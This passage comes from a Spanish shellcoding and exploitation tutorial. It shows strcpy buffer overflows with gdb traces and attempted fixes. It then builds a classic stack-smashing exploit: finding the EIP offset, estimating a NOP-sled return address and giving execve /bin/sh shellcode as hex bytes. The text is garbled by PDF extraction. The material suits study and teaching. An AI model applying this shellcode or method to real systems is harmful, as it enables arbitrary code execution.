strcpy ( caPassword , cpPassword ) ;

Cdigo 45. Cdigo vulnerable o o Por:


1

strncpy ( caPassword , cpPassword , 16) ;

Cdigo 46. Cdigo corregida o o Gracias a esta substitucin, en la variable caP assword slo se almacenar 16 o o an bytes. Sin embargo, si la variable cpP assword contuviera una cadena de ms de a 16 bytes, la cadena caP assword no tendr un terminador de cadena y esto podr a a provocar otros problemas. Para solucionar este tema se podr utilizar el siguiente a cdigo: o
1 2

strncpy ( caPassword , cpPassword , 16) ; caPassword [ sizeof ( caPassword ) - 1] = \0 ;

Cdigo 47. Cdigo mejorado o o 69

De este modo en la variable caP assword slo se almacenar 16 bytes perteo an 42 necientes a la variable cpP assword . Despus, en el ultimo byte perteneciente a la e variable caP assword se almacena un byte nulo, que ser el terminador de la cadena. a En este caso, la funcin sizeof devuelve el tamao de la variable caP assword, que o n es 16. Sin embargo, para acceder a la ultima posicin de la cadena caP assword se o deber acceder a la posicin 15 ya que los bytes de la variable caP assword van del a o 0 al 15. Como se puede ver a continuacin, el cdigo modicado es totalmente funcional o o aun cuando se le pasa un parmetro de 17 bytes. Tambin se pueden apreciar todos a e los aspectos comentados en el pargrafo anterior. a
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gcc g p a s s w o r d P r o t e c t e d C o r r e c t e d . c -o p a s s w o r d P r o t e c t e d C o r r e c t e d n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q passwordProtectedCorrected Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d C o r r e c t e d ... hecho . ( gdb ) b checkPassword Punto de interrupci n 1 at 0 x80484e0 : file p a s s w o r d P r o t e c t e d C o r r e c t e d .c , line 5. o ( gdb ) run A A A A A A A A A A A A A A A A A Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d C o r r e c t e d A A A A A A A A A A A A A A A A A Breakpoint 1 , checkPassword ( cpPassword =0 xbffff585 A < repetidos 17 veces >) at p a s s w o r d P r o t e c t e d C o r r e c t e d . c :5 5 int checkPassword ( char * cpPassword ) { ( gdb ) n 6 int iSuccess = 0; ( gdb ) n 9 strncpy ( caPassword , cpPassword , 16) ; ( gdb ) n 10 int length = sizeof ( caPassword ) - 1; ( gdb ) x /4 x caPassword 0 xbffff2cc : 0 x41414141 0 x41414141 0 x41414141 0 x41414141 ( gdb ) n 11 caPassword [ length ] = \0 ; ( gdb ) x & length 0 xbffff2c4 : 0 x0000000f ( gdb ) n 13 if ( strcmp ( caPassword , " validPassword " ) == 0) iSuccess = 1; ( gdb ) x /4 x caPassword 0 xbffff2cc : 0 x41414141 0 x41414141 0 x41414141 0 x00414141 ( gdb ) c Continuando . +++++++++++++++++++++++ | ACCESS DENIED |

+++++++++++++++++++++++

Cabe destacar que para optimizar el cdigo fuente se podr copiar slo 15 bytes con la o an o instruccin strncpy en vez de 16. o

42

70

Program exited normally . ( gdb ) quit

Cdigo 48. Anlisis del cdigo fuente corregido o a o Por otro lado, como se podr implementar la segunda opcin para corregir esta a o vulnerabilidad? Anteriormente se ha comentado que la idea de implementar la segunda opcin se basa en corregir los efectos de la vulnerabilidad, en vez de corregir o la vulnerabilidad. En este caso el efecto de la vulnerabilidad es modicar el valor de la variable iSuccess cuando se produce el desbordamiento del bfer caP assword. u Para encontrar una solucin a este problema se deber pensar en lo que se ha exo a plicado sobre el crecimiento de la pila y el almacenamiento de las variables. Como ya se ha comentado, la pila crece hacia direcciones de memoria inferiores. De este dato se deduce que si en un cdigo fuente se declara una variable y a continuacin o o se declara otra variable, la segunda variable se ubicar en una posicin de memoria a o inferior a la ubicacin de la primera variable declarada. o Una vez recordado este dato, cabe destacar que cuando se almacena el valor de una variable, este valor se almacena en la direccin de memoria donde se ha ubicado la o variable y las posiciones de memoria contiguas y mayores. Con este dato se quiere decir que si por ejemplo una cadena de 4 bytes apunta a la direccin de memoria o 0xb2ec, el primer byte de la cadena se almacenar en la direccin de memoria a o 0xb2ec, el segundo se almacenar en la direccin de memoria 0xb2ed, el tercea o ro en la direccin 0xb2ee y el cuarto en la direccin 0xb2ef. o o A partir de estos datos es fcil analizar la razn por la que la variable iSuccess es a o sobreescrita al ocurrir el desbordamiento. En el cdigo fuente vulnerable las variables o se declaran en este orden:
1 2

int iSuccess = 0; char caPassword [16];

Cdigo 49. Cdigo vulnerable o o Con lo que la variable iSuccess se almacena en una direccin de memoria mayor o a la direccin de memoria donde se ubica el valor de la variable caP assword. Por o esta razn la variable iSuccess se sobreescribe cuando en una direccin de memoria o o inferior se almacenan ms bytes de los que el respectivo bfer puede almacenar. Para a u demostrar que este razonamiento es correcto se muestra la siguiente salida:
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ passwordProtectedCorrected2 AAAAAAAAAAAAAAAAA ++++++++++++++++++++++++ | ACCESS GRANTED |

++++++++++++++++++++++++

71

n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$

Cdigo 50. Segunda correccin o o Si se ha seguido todo el razonamiento expuesto hasta el momento, uno se dar cuena ta de que las cosas no encajan. El acceso al cdigo restringido se deber haber deneo a gado, sin embargo, como se puede ver, se ha podido tener acceso al cdigo restringido. o A continuacin se muestra la razn por la cual la solucin no ha funcionado: o o o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q passwordProtectedCorrected2 Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d C o r r e c t e d 2 ... hecho . ( gdb ) list 1 1 # include < stdio .h > 2 # include < string .h > 3 # include < stdlib .h > 4 5 int checkPassword ( char * cpPassword ) { 6 char caPassword [16]; 7 int iSuccess = 0; 8 9 strcpy ( caPassword , cpPassword ) ; 10 ( gdb ) b checkPassword Punto de interrupci n 1 at 0 x804848a : file p a s s w o r d P r o t e c t e d C o r r e c t e d 2 .c , line 7. o ( gdb ) run A A A A A A A A A A A A A A A A A Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d C o r r e c t e d 2 A A A A A A A A A A A A A A A A A Breakpoint 1 , checkPassword ( cpPassword =0 xbffff584 A < repetidos 17 veces >) at p a s s w o r d P r o t e c t e d C o r r e c t e d 2 . c :7 7 int iSuccess = 0; ( gdb ) n 9 strcpy ( caPassword , cpPassword ) ; ( gdb ) x caPassword 0 xbffff2cc : 0 x08048340 ( gdb ) x & iSuccess 0 xbffff2dc : 0 x00000000 ( gdb ) quit Una sesi n de depuraci n est activa . o o a Inferior 1 [ process 4752] will be killed . Salir de cualquier modo ? ( y o n ) y n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$

Cdigo 51. Problema con la segunda correccin o o Como se puede ver, las variables se han declarado en orden inverso, tal y como se ha explicado. Primero la variable caP assword y despus la variable iSuccess. Sin e embargo, tal y como ocurr cuando la variable iSuccess se declaraba primero, la dia reccin de memoria donde se ubica su valor es mayor a la direccin de memoria donde o o se ubican los datos de la variable caP assword. La variable iSuccess est ubicada en a la direccin de memoria 0xb2dc que es mayor que 0xb2cc, que es la direccin o o 72

de memoria a la que apunta la cadena caP assword. Esto no deber ocurrir, ya que, a debido a que la variable caP assword se declara primero, sta deber apuntar a una e a direccin de memoria superior a la de iSuccess, sin embargo, las cosas no son as o . Lo cierto es que este comportamiento no tiene ningn sentido aparente y slo u o se puede deber a algn tipo de optimizacin que realiza el compilador GCC. Para u o demostrar que es una cuestin completamente relacionada con el compilador, se moo dicar el cdigo fuente de la aplicacin para demostrar que el orden de declaracin a o o o de las variables locales de una funcin no es respetada por el compilador. o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gcc g p a s s w o r d P r o t e c t e d C o r r e c t e d 2 . c -o p a s s w o r d P r o t e c t e d C o r r e c t e d 2 - fno - stack protector n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q passwordProtectedCorrected2 Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d C o r r e c t e d 2 ... hecho . ( gdb ) list 1 1 # include < stdio .h > 2 # include < string .h > 3 # include < stdlib .h > 4 5 int checkPassword ( char * cpPassword ) { 6 int lol1 ; 7 char caPassword [16]; 8 int iSuccess = 0; 9 int lol2 ; 10 ( gdb ) b checkPassword Punto de interrupci n 1 at 0 x804848a : file p a s s w o r d P r o t e c t e d C o r r e c t e d 2 .c , line 8. o ( gdb ) run A A A A A A A A A A A A A A A A A Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d C o r r e c t e d 2 A A A A A A A A A A A A A A A A A Breakpoint 1 , checkPassword ( cpPassword =0 xbffff584 A < repetidos 17 veces >) at p a s s w o r d P r o t e c t e d C o r r e c t e d 2 . c :8 8 int iSuccess = 0; ( gdb ) n 11 strcpy ( caPassword , cpPassword ) ; ( gdb ) x & lol1 0 xbffff2d4 : 0 x08049ff4 ( gdb ) x caPassword 0 xbffff2c4 : 0 x08049ff4 ( gdb ) x & iSuccess 0 xbffff2d8 : 0 x00000000 ( gdb ) x & lol2 0 xbffff2dc : 0 x08048589 ( gdb ) quit Una sesi n de depuraci n est activa . o o a Inferior 1 [ process 4819] will be killed . Salir de cualquier modo ? ( y o n ) y

Cdigo 52. Optimizacin del compilador GCC o o Como se puede ver, en este ejemplo se han declarado dos nuevas variables. La variable lol1 es la primera que se declara, y la variable lol2 es la ultima que se decla 73

ra. Sin embargo, las direcciones de memoria donde se ubican no concuerdan con el orden de declaracin establecido en el cdigo fuente. La variable lol1 se almacena en o o al direccin 0xb2d4, la variable caP assword apunta a la direccin 0xb2c4, la o o variable iSuccess se almacena en la direccin 0xb2d8 y la variable lol2 se almacena o en la direccin 0xb2dc. Esto signica que la variable lol2 es la que est ubicada en o a la direccin de memoria ms alta, seguida por la variable iSuccess, a su vez seguida o a por la variable lol1 y por ultimo la variable caP assword. Parece ser que el compi lador ha ubicado las tres variables enteras en direcciones de memoria contiguas - a razn de 4 bytes por variable - y mayores a la direccin de memoria a la que apunta o o la variable caP assword. Por esta razn, la correccin del cdigo no funcionaba. o o o Curiosamente, una vez introducidas estas nuevas variables, la variable ubicada en la direccin de memoria contigua a la variable caP assword ya no es iSuccess, sino o que es la variable lol1. Esto signica que cuando se pasa un parmetro de 17 bytes a al ejecutable, la variable iSuccess no deber sobreescribirse y, por tanto, el acceso a a la zona de cdigo restringido deber ser denegado. As se muestra a continuacin: o a o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ passwordProtectedCorrected2 AAAAAAAAAAAAAAAAA +++++++++++++++++++++++ | ACCESS DENIED |

+++++++++++++++++++++++ n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$

Cdigo 53. Vulnerabilidad corregida errneamente o o Sin embargo, no se deber perder de vista el hecho de que la variable lol1 est ala a macenada en una direccin de memoria cont o gua a la direccin de memoria donde o se ubica la variable iSuccess, con lo que si se pasaran 21 bytes como parmetro, se a conseguir sobreescribir la variable iSuccess y acceder a la zona de cdigo restrina o gido:
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ ./ passwordProtectedCorrected2 AAAAAAAAAAAAAAAAAAAAA ++++++++++++++++++++++++ | ACCESS GRANTED |

++++++++++++++++++++++++ n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$

Cdigo 54. Vulnerabilidad corregida errneamente o o El objetivo de la investigacin de estos dos mtodos de correccin de vulnerao e o bilidades ha sido dejar claros varios conceptos. El primero es que siempre se debe 74

intentar corregir la parte de cdigo fuente que hace vulnerable un programa y no o modicar el cdigo fuente para que sus funcionalidades no se vean afectadas por la o vulnerabilidad. El segundo concepto es que muy a menudo las cosas no funcionan como tericamente deber funcionar. En este ejemplo, se ha dado el caso de que o an ha sido el compilador el que no ha funcionado como deber sin embargo, esta anoa, mal se puede extrapolar a cualquier otro componente que forme parte del proceso a de construccin del ejecutable. Siempre se deben comprobar todos los parmetros de o a una ecuacin, aunque algunos de ellos se den por supuestos. El ultimo concepto es o que, ms a menudo de lo que a los programadores les gustar reconocer, cuando se a a intenta corregir una vulnerabilidad se aade una nueva o no se corrige correctamente n la original. En el caso estudiado, cuando se han introducido las nuevas variables al cdigo, el ejecutable ha dejado de funcionar incorrectamente cuando se le introduc o an 17 bytes, sin embargo, continuaba siendo vulnerable, tal y como se ha demostrado.

75

9.3.

Ejecucin de cdigo arbitrario o o

Es en este punto en el que los conceptos de exploiting y de shellcoding convergen al n. Hasta el momento se ha estudiado el modo de que un programa ejecutara instrucciones que no deb ejecutar. Sin embargo, estas instrucciones formaban parte a del cdigo fuente del mismo programa. o En este apartado se estudiara la metodolog a seguir para conseguir ejecutar insa trucciones ajenas al cdigo fuente vulnerable. Estas instrucciones a ejecutar son las o que forman los shellcodes que se han estudiado en los primeros apartados. A continuacin se mostrar el mtodo para inyectar un shellcode en un programa o a e vulnerable en tiempo de ejecucin. o

9.3.1.

Modicacin del registro EIP o

El concepto bsico para la ejecucin de un shellcode a partir de un programa vula o nerable, es que es el mismo programa el que debe ejecutar el shellcode. Para conseguir este propsito se debe recordar lo explicado anteriormente sobre la construccin del o o marco de pila de una funcin. Entre toda la estructura de datos que se creaba al conso truir un marco de pila, hab un dato de especial inters para la explotacin de una a e o aplicacin vulnerable. El dato en cuestin es la direccin de retorno que insertaba la o o o instruccin call en el momento de llamar la funcin a ejecutar. Si se recuerda lo que o o se ha explicado en los cap tulos anteriores, esta direccin de retorno se insertaba en o el marco de pila de una funcin para que cuando se nalizar el cdigo a ejecutar de o a o dicha funcin, el ujo de ejecucin del programa pudiera continuar con la instruccin o o o posterior a la llamada de la funcin. Esta direccin de retorno especica la direccin o o o de memoria donde se ubica la siguiente instruccin que se debe ejecutar una vez se o ha terminado el cdigo de la funcin ejecutada. o o Si un atacante fuera capaz de de modicar el valor de este dato, ser capaz a de controlar completamente el ujo ejecucin del programa vulnerable. El atacante o podr especicar cualquier direccin de memoria 43 , ubicar su shellcode en esa dia o reccin de memoria y, de este modo, cuando la ejecucin de la funcin nalizara y o o o el marco de pila se destruyera, la siguiente instruccin a ejecutar ser la instruccin o a o ubicada en la direccin de memoria que el atacante habr especicado y, de esta o a manera, se conseguir ejecutar el shellcode elegido. a A continuacin se mostrar como se puede modicar este dato. El registro que o a contiene la direccin de memoria donde se ubica la instruccin que se debe ejecutar o o
Cabe destacar que no todas las regiones de memoria tienen los mismos permisos. Existen regiones de memoria que, por ejemplo, no tienen permisos de ejecucin y, por tanto, si el cdigo de o o un shellcode se ubicara en estas regiones no se podr ejecutar. a
43

76

a continuacin es el registro eip44 . El valor del registro eip no se puede modicar o manualmente, as que se deber modicar el dato comentado en el pargrafo anterior a a para que el registro eip obtenga un valor alterado manualmente. Para realizar esta accin basta con actuar del mismo modo que se ha actuado o cuando se han estudiado los desbordamientos de bufers en la pila. En los cap tulos anteriores se modicaba el valor de las variables locales de una funcin para conseguir o acceder a una zona de cdigo restringida. En esta ocasin, el desbordamiento del bfer o o u permitir sobreescribir los datos de control introducidos en el marco de pila y, gracias a a esta accin, se controlar el valor del registro eip. A continuacin se muestra el o a o modo a proceder para conseguir el propsito comentado. El cdigo fuente explotado o o es el mismo que en los apartados anteriores, pero el bfer caP assword se amplia a u 128 bytes para facilitar las cosas.
1 2 3 4 5 6 7 8 9 10 11

# include < stdio .h > # include < string .h > # include < stdlib .h > int checkPassword ( char * cpPassword ) { int iSuccess = 0; char caPassword [128]; strcpy ( caPassword , cpPassword ) ; if ( strcmp ( caPassword , " validPassword " ) == 0) iSuccess = 1; return iSuccess ; } int main ( int argc , char * argv []) { if ( argc != 2) { printf ( " [ -] Usage : %s < password >\ n " , argv [0]) ; exit (0) ; } if ( checkPassword ( argv [1]) ) { printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + + \ n " ) ; printf ( " \ n | ACCESS GRANTED |\ n " ) ; printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + + \ n \ n " ) ; } else { printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + \ n " ) ; printf ( " \ n | ACCESS DENIED |\ n " ) ;
44

12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

Extended Instruction P ointer

77

29 30 31 32 33

printf ( " \ n + + + + + + + + + + + + + + + + + + + + + + + \ n \ n " ) ; } return 0; }

Cdigo 55. Cdigo fuente vulnerable o o Debido a que el bfer caP assword es muy grande, se utilizar el lenguaje de u a programacin interpretado P erl45 para pasar como argumento el nmero de bytes o u necesario para sobreescribir el registro eip. Gracias a esto uno se ahorra mucho trabajo ya que no tiene que insertar los bytes del parmetro manualmente. a
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gcc g p a s s w o r d P r o t e c t e d A m p l i a d o . c -o p a s s w o r d P r o t e c t e d A m p l i a d o -fno - stack - protector n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Stack Overflow s / BasicExample$ gdb q passwordProtectedAmpliado Leyendo s mbolos desde / home / newlog / Documentos / Shellcoding / Codigos / Sta ckOverfl ows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o ... hecho . ( gdb ) run perl -e print " A " x 155 Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print " A " x 155 Program received signal SIGSEGV , Segmentation fault . 0 x41414141 in ?? () ( gdb ) run perl -e print " A " x 145 The program being debugged has been started already . Start it from the beginning ? ( y o n ) y Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print " A " x 145 Program received signal SIGSEGV , Segmentation fault . 0 x08040041 in ?? () ( gdb ) run perl -e print " A " x 144 . " ABCD " The program being debugged has been started already . Start it from the beginning ? ( y o n ) y Starting program : / home / newlog / Documentos / Shellcoding / Codigos / StackOve rflows / BasicExample / p a s s w o r d P r o t e c t e d A m p l i a d o perl -e print " A " x 144 . " ABCD " Program received signal SIGSEGV , Segmentation fault . 0 x44434241 in ?? () ( gdb ) quit Una sesi n de depuraci n est activa . o o a Inferior 1 [ process 18870] will be killed . Salir de cualquier modo ? ( y o n ) y

Cdigo 56. Modicacin del registro eip o o


Para encontrar informacin sobre el lenguaje de programacin Perl se pueden visitar los sio o guientes enlaces: http://www.perl.org/docs.html http://perldoc.perl.org/
45

78

El mtodo utilizado para descubrir la ubicacin de la direccin de retorno ha sido e o o de prueba y error. En vez de ir probando diferentes parmetros para descubrir cmo a o sobreescribir la direccin de retorno, se podr haber desensamblado el ejecutable tal o a y como se hizo en el apartado donde se estudiaba la construccin del marco de pila y o haber podido descubrir la direccin de memoria exacta donde se ubicaba la direccin o o de retorno. Como se puede ver la tcnica utilizada para sobreescribir el registro eip se basa en e ir pasndole al ejecutable parmetros de diferente longitud. Cada vez que se ejecuta a a el programa con un nuevo parmetro se inspecciona cual es el contenido del registro a eip. Con el primer intento se pasa un argumento que hace que el programa deje de funcionar y termine con la interrupcin SIGSEGV. Cada vez que se cierra el programa, el o depurador gdb muestra el contenido del registro eip, sin que se tenga que inspeccionar expl citamente. Como se muestra, este error se da porqu el registro eip contiene el e valor hexadecimal 41414141, que en ASCII su equivalente ser AAAA. Debido a que a el registro eip contiene el valor 0x41414141, la siguiente instruccin que se ejecuta o es la que se encuentra en la direccin de memoria 0x41414141. Como la direccin o o 0x41414141 no contiene una instruccin vlida, o no es un segmento de memoria o a ejecutable, el ujo de ejecucin del programa se detiene y se aborta su ejecucin. o o A continuacin se prueban diferentes parmetros de una longitud inferior al primer o a parmetro, ya que este ya sobreescrib completamente el registro eip. El primer a a parmetro con el que no sobreescribe completamente el valor del registro eip se ina troduce en el segundo intento y el nmero de bytes del parmetro es 145. Con este u a parmetro se consigue que el registro eip tome el valor 0x08040041, con lo que se a sabe que faltan 3 bytes ms para sobreescribir completamente el registro. a Por esta razn se llega a la conclusin de que para sobreescribir completamente el o o registro eip se necesitan 148 bytes, con lo que a continuacin se pasa un parmetro o a de 144 bytes concatenados con otros cuatro bytes equivalentes, ABCD. Gracias a la introduccin de este parmetro se consigue que el registro eip tome o a el valor 0x44434241, que es el valor ASCII equivalente a DCBA. Como se puede comprobar, el valor ABCD del parmetro se almacena de modo inverso en el registro a eip. Esto se debe a que se trabaja con una arquitectura little endian 46 . Este dato es muy importante porqu avanza que cuando se quiera insertar los bytes de una e direccin de memoria en el registro eip se debern introducir los bytes de la direccin o a o en orden inverso. Llegados a este punto, ya se podr modicar el valor del registro eip tal y como a se desee.
46

Este concepto ya se ha tratado en el apartado de shellcoding.

79

9.3.2.

Construccin del exploit o

Una vez se conoce el nmero de bytes necesarios para sobreescribir exactamente u el registro eip, se debe estudiar como se conseguir redireccionar el ujo de ejecucin a o del programa hacia la direccin de memoria donde se ubica el inicio del shellcode. o La dicultad de esta accin reside en que en tiempo de compilacin es imposible o o saber la direccin exacta donde se ubicar el shellcode. Sin embargo, el dato crucial o a es que se conoce de antemano que el shellcode se ubicar en la regin de memoria a o que se utiliza como pila. As pues, gracias a esta informacin se puede obtener una o direccin de memoria para utilizarla como referencia. Tal y como se ha visto en otros o cap tulos, el valor del registro esp se puede obtener en tiempo de ejecucin. Gracias o a este dato se podr conocer en qu direccin de memoria se ha ubicado el ultimo a e o dato perteneciente a la pila. Como se puede ver en el Apndice II, si la proteccin del sistema ASLR est desace o a tivada, el inicio del segmento de pila siempre es el mismo. Como ya hemos comentado, la pila crece hacia direcciones de memoria inferiores. Esto signica que el shellcode que se inyectar en el ejecutable vulnerable se ubicar en una direccin de memoria a a o inferior a la direccin inicial de la pila, que es la que se obtendr a continuacin con o a o el siguiente cdigo. o
1 2 3 4 5 6 7 8 9 10 11 12

# include < stdio .h > int main ( int argc , char ** argv ) { int reg_esp ; __asm__ __volatile__ ( " mov % %esp , %0" : " = g " ( reg_esp ) ) ; printf ( " ESP value : %p \ n " , ( void *) reg_esp ) ; return 0; }

Cdigo 57. Obteniendo el valor del registro ESP o Despus de ejecutar varias veces el cdigo fuente mostrado anteriormente, se e o puede comprobar como el valor del registro esp siempre es el mismo.
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ ESP value : 0 xbffff390 n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ ESP value : 0 xbffff390 n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ ESP value : 0 xbffff390 gcc getESP . c -o getESP ./ getESP ./ getESP ./ getESP

80

Cdigo 58. Modicacin del registro eip o o La direccin inicial de la regin de memoria que se utilizar como pila es 0xb390. o o a Por tanto, es conocido el hecho de que el shellcode se ubicar en una direccin de a o memoria inferior a 0xb390. Debido a que no es posible conocer la direccin exacta o del shellcode antes de que se ejecute el programa, se deber hacer una aproximacin a o sobre su posible ubicacin. o Se podr pensar que si no se conoce la direccin de memoria exacta donde se a o ubicar el shellcode, no ser posible ejecutarlo ya que cuando se especique una a a direccin de memoria erronea, el programa se detendr debido a que el contenido de o a la direccin de memoria especicada en el registro eip no contendr una instruccin o a o vlida que se pueda ejecutar. Muy seguramente contendr datos que no tengan nada a a que ver con instrucciones ejecutables, como ahora variables locales o parmetros de a una funcin. o Para solucionar este problema podemos contruir lo que se conoce como N OP Sled. NOP Sled Se conoce como NOP Sled a una secuencia de byte formada por el opcode 0x90. El opcode 0x90 identica a la instruccin en ensamblador conocida como No-OPeration. o Esta instruccin lo unico que hace es consumir ciclos del procesador del sistema sin o que se realice ningn tipo de operacin. u o Si la direccin de memoria que contuviera el registro eip apuntar hacia una una o a direccin de memoria que contuviera la instruccin NOP, el procesador la ejecutar o o a y continuar ejecutndo el contenido de la siguiente direccin de memoria contigua. a a o Es importante resaltar que, a diferencia del crecimiento de la pila hacia posiciones de memoria inferiores, cuando el procesador ejecuta instrucciones de memoria, las intrucciones que se ejecutan sucesivamente estn ubicadas en direcciones de memoria a superiores, a menos, claro, que se ejecuten saltos condicionales, bucles o llamadas a funciones. Por esta razn, si la direccin que contiene el registro eip apunta hacia una o o direccin de memoria que contiene una secuencia de instrucciones NOP, stas se o e ejecutarn secuencialmente hasta que el conjunto de operaciones NOP se termine a y se encuentre alguna instruccin diferente. Es aqu donde se ubicar alguno de o a los shellcodes desarrollados en los primeros apartados. Gracias a esta tcnica no es e necesario conocer exactamente la direccin de memoria donde se ubicar el shellcode. o a Se puede hacer una aproximacin de modo que si no se acierta la direccin exacta o o del shellcode, muy posiblemente se apunte a una direccin de memoria que contenga o las instrucciones NOP, que se irn ejecutando secuencialmente hasta que se terminen a 81

y se empiece a ejecutar el cdigo del shellcode que estar ubicado a continuacin. o a o As pues, el contenido que se debe inyectar como parmetro del programa debe tener a la siguiente forma: +---------------------------------------------------------------+ | NOP Sled | Shellcode | Direccion de retorno | +---------------------------------------------------------------+ Tal y como se ve en el esquema, la direccin de retorno apuntar a una de las o a direcciones que contenga el NOP Sled y este se ejecutar hasta dar con el shellcode. a Calculo de la direccin de retorno o Tal y como ya se ha comentado, como referencia se utilizar la direccin de mea o moria incial de la pila, que es 0xb390. Como ya se ha comentado, la direccin de o memoria donde se ubicar el shellcode ser inferior que la contenida por el registro a a esp. Sin embargo, aunque es muy complicado conocer la posicin exacta de los datos o en memoria, se puede hacer una aproximacin sabiendo que los argumentos se insero tan en memoria a partir de la direccin inicial de la pila. Como ya se ha comentado o en el apartado donde se estudia la estructura de un marco de pila, el parmetro a pasado a una funcin se inserta en la pila antes de que se almacenen los datos de o la funcin llamada, por esta razn, el parmetro que se le pasar al ejecutable se o o a a almacenar antes que los datos relativos a la funcin main. a o Teniendo en cuenta que se necesitan 148 bytes para sobreescribir la direccin de meo moria de donde el registro eip obtendr su valor, se estima que si a la direccin inicial a o de la pila se le restan 80 bytes - 50h - muy seguramente se apunte hacia una direccin o de memoria que contenga una instruccin del NOP Sled. La direccin resultante es o o 0xb390 - 0x50 = 0xb340. Como ya se ha comentado, esta direccin de memoria o se debe insertar en la pila de modo invertido, o sea, primero el byte 40, despus el e byte f3 y as sucesivamente.

Eleccin del shellcode o Para vulnerar el ejecutable se ha elegido el execve shellcode que se ha explicado en los primeros apartados. Su cdigo es el siguiente: o
1 2 3 4 5 6 7

BITS 32 xor eax , eax cdq mov byte al , 11 push edx push long 0 x68732f2f push long 0 x6e69622f

82

8 9 10 11 12 13

mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 0 x80

Cdigo 59. Execve shellcode en ensamblador o Para convertir este cdigo ensamblador en opcodes que se puedan insertar en o memoria directamente para su ejecucin se utilizar el script ideado por vlan del o a que ya se ha hablado en los primeros apartados:
n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ cat genShell . sh #!/ bin / sh objdump -d ./ $1 | grep [0 -9 a - f ]: | grep -v file | cut - f2 -d : | cut -f1 -6 -d | tr -s | tr \ t | sed s / $ // g | sed s / /\\ x / g | paste -d -s | sed s /^/"/ | sed s / $ /"/ g n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$

Cdigo 60. Script para obtener los opcodes de un shellcode o El shellcode que se inyectar en memoria es el que se puede ver a continuacin: a o
n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / E x ec ve Sh e ll co de / Pu shingEx ecve$ ./ genShell . sh execve - Pushing2 " \ x31 \ xc0 \ x99 \ xb0 \ x0b \ x52 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x52 \ x89 \ xe2 \ x53 \ x89 \ xe1 \ xcd \ x80 " n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / E x ec ve Sh e ll co de / Pu shingEx ecve$

Cdigo 61. Shellcode a inyectar o Si se cuenta el nmero de opcodes que forman el shellcode se obtiene que el u tamao es de 26 bytes. Normalmente, el tamano del NOP Sled acostumbra a ser n n la mitad del tamao del bfer necesario para llegar a sobreescribir el valor donde n u se ubica la direccin de retorno. Por esta razn se jar el tamao del NOP Sled a o o a n 74 bytes, que es la mitad de 148. Con los 74 bytes del NOP Sled, ms los 26 bytes a del shellcode faltan 48 bytes para llegar a sobreescribir la direccin de retorno. Por o esta razn, la direccin de retorno que se ha elegido anteriormente, 0xb340, se o o repetir 12 veces. O sea, se aadirn 48 bytes ms al bfer. De este modo se asegura a n a a u que la direccin de retorno sea sobreescrita por la direccin 0xb340. o o La construccin del parmetro se construir con el siguiente comando: o a a
